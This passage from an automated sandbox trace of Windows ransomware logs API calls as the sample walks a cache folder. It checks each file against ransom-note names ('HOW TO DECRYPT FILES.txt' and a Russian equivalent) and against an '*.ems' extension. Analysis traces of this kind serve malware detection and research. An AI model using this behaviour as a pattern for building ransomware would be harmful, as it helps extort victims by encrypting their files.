FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.969] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.969] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" [0086.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", pszSpec="*.ems") returned 0 [0086.970] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0086.970] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.970] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="696F3DE637E6DE85B458996D49D759AD") returned 1 [0086.970] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="696F3DE637E6DE85B458996D49D759AD") returned 1 [0086.970] lstrcmpiA (lpString1="", lpString2="696F3DE637E6DE85B458996D49D759AD") returned -1 [0086.970] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" [0086.970] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.970] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.970] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.970] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.970] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="696F3DE637E6DE85B458996D49D759AD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD" [0086.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD", pszSpec="*.ems") returned 0 [0086.971] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0086.971] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.971] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 1 [0086.971] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 1 [0086.971] lstrcmpiA (lpString1="", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned -1 [0086.971] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="696F3DE637E6DE85B458996D49D759AD" [0086.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.971] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.971] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.971] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.971] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" [0086.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", pszSpec="*.ems") returned 0 [0086.971] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0086.971] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.972] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 1 [0086.972] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 1 [0086.972] lstrcmpiA (lpString1="", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned -1 [0086.972] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" [0086.972] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.972] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.972] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.972] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.972] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21" [0086.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21", pszSpec="*.ems") returned 0 [0086.972] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0086.972] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.972] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 1 [0086.972] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 1 [0086.973] lstrcmpiA (lpString1="", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned -1 [0086.973] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="7396C420A8E1BC1DA97F1AF0D10BAD21" [0086.973] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.973] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.973] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.973] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.973] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" [0086.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", pszSpec="*.ems") returned 0 [0086.973] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0086.973] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0086.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0086.974] lstrcmpiA (lpString1="", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned -1 [0086.974] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" [0086.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.974] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.974] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.974] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0086.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9", pszSpec="*.ems") returned 0 [0086.974] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0086.974] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 1 [0086.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 1 [0086.974] lstrcmpiA (lpString1="", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned -1 [0086.974] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0086.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.975] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.975] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.975] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.975] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" [0086.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", pszSpec="*.ems") returned 0 [0086.975] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0086.975] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.976] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 1 [0086.976] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 1 [0086.976] lstrcmpiA (lpString1="", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned -1 [0086.976] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 